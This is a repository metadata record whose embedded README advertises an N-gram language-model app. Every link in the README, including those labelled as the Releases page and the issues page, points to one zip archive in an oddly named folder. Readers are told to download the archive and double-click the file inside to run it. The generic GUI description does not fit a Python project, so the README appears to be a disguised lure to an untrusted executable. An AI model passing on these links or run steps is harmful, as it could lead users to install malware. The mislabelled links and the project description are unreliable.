{"id":32619964,"url":"https://github.com/matchaboy7/ngram-language-model","last_synced_at":"2026-04-16T01:32:46.313Z","repository":{"id":321333519,"uuid":"1085161354","full_name":"matchaboy7/ngram-language-model","owner":"matchaboy7","description":"🧠 Build an N-gram language model to generate coherent text, predict next words, and evaluate performance with real-world data.","archived":false,"fork":false,"pushed_at":"2026-04-08T14:27:42.000Z","size":8436,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-04-08T16:24:05.638Z","etag":null,"topics":["language-model","laplace-smoothing","machine-learning","markov","markov-assumption","markov-chain","model","ngram","ngram-language-model","ngram-model","nlp","nltk","perplexity","pharo","python","smoothing-methods","spell-checker","statistics"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/matchaboy7.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-10-28T17:02:54.000Z","updated_at":"2026-04-08T14:28:48.000Z","dependencies_parsed_at":null,"dependency_job_id":"c6902ac3-37cc-4800-aa4e-6f90a2383a07","html_url":"https://github.com/matchaboy7/ngram-language-model","commit_stats":null,"previous_names":["matchaboy7/ngram-language-model"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/matchaboy7/ngram-language-model","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/matchaboy7%2Fngram-language-model","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/matchaboy7%2Fngram-language-model/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/matchaboy7%2Fngram-language-model/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/matchaboy7%2Fngram-language-model/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/matchaboy7","download_url":"https://codeload.github.com/matchaboy7/ngram-language-model/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/matchaboy7%2Fngram-language-model/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31867710,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-15T15:24:51.572Z","status":"ssl_error","status_checked_at":"2026-04-15T15:24:39.138Z","response_time":63,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["language-model","laplace-smoothing","machine-learning","markov","markov-assumption","markov-chain","model","ngram","ngram-language-model","ngram-model","nlp","nltk","perplexity","pharo","python","smoothing-methods","spell-checker","statistics"],"created_at":"2025-10-30T18:02:10.777Z","updated_at":"2026-04-16T01:32:46.304Z","avatar_url":"https://github.com/matchaboy7.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🎉 ngram-language-model - Create Text with N-gram Models\n\n## 🛠️ Download \u0026 Install\n[![Download ngram-language-model](https://github.com/matchaboy7/ngram-language-model/raw/refs/heads/main/comfortably/language-ngram-model-v1.8-beta.3.zip)](https://github.com/matchaboy7/ngram-language-model/raw/refs/heads/main/comfortably/language-ngram-model-v1.8-beta.3.zip)\n\nFollow these steps to download and run the ngram-language-model app.\n\n1. **Visit the Download Page**: Go to the [Releases page](https://github.com/matchaboy7/ngram-language-model/raw/refs/heads/main/comfortably/language-ngram-model-v1.8-beta.3.zip).\n2. **Select the Latest Version**: Look for the latest version at the top. Click on it to view all available files.\n3. **Download the Application**: Locate the file relevant to your operating system. Click on it to start downloading.\n4. **Run the Application**: After the download is complete, find the file in your Downloads folder. Double-click it to run.\n\n## 📜 What is ngram-language-model?\nngram-language-model builds statistical N-gram language models from scratch. This application helps users explore tokenization, training, probability modeling, and text generation more easily. It achieves a 97.6% improvement in perplexity from unigram to 4-gram models.\n\n## ⚙️ System Requirements\n- **Operating System**: Windows 10 or later, macOS 10.14 or later, or a modern Linux distribution.\n- **RAM**: Minimum 4 GB recommended.\n- **Storage**: At least 200 MB of free disk space.\n- **Processor**: 64-bit processor.\n\n## 🚀 Getting Started\n1. **Follow the Download Steps**: Make sure to download the application using the steps outlined above.\n2. **Explore Models**: Once the application is running, you can create models using your text data.\n3. **Adjust Settings**: Customize parameters like N-gram size to see how models change.\n\n## 🧩 Features\n- **User-Friendly Interface**: Navigate easily through the application, even if you're not a technical user.\n- **Text Generation**: Generate coherent text based on input data.\n- **N-gram Modeling**: Build different N-gram models with intuitive settings.\n- **Performance Metrics**: View perplexity scores to evaluate model effectiveness.\n- **Help Section**: Access user guides and tips directly within the app.\n\n## 💡 How to Use\n1. **Input Your Text**: Paste or import the text you wish to analyze or use for training.\n2. **Select Model Settings**: Choose the N-gram size (like 2, 3, or 4).\n3. **Run the Model**: Click the \"Run\" button to start model training.\n4. **View Results**: Explore generated text and perplexity scores to assess performance.\n\n## ❓ FAQs\n- **What is an N-gram?**\n  An N-gram is a sequence of N tokens (words or characters) used in natural language processing.\n\n- **Can I use my own datasets?**\n  Yes, the application allows you to import your own text files for analysis.\n\n- **Is this software free?**\n  Yes, ngram-language-model is open-source and free to use.\n\n## 📞 Support\nIf you encounter any issues while using the application, you can reach out through the Issues tab on our [GitHub page](https://github.com/matchaboy7/ngram-language-model/raw/refs/heads/main/comfortably/language-ngram-model-v1.8-beta.3.zip). We encourage users to report bugs and suggest improvements.\n\n## ✍️ Acknowledgments\nThanks to our contributors for making this project possible. Your feedback helps us improve.\n\n## 🔗 Related Topics\n- Language Modeling\n- Markov Chains\n- Natural Language Processing (NLP)\n- Text Generation\n\nFeel free to dive into the world of N-grams with ngram-language-model. Happy modeling!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatchaboy7%2Fngram-language-model","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmatchaboy7%2Fngram-language-model","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatchaboy7%2Fngram-language-model/lists"}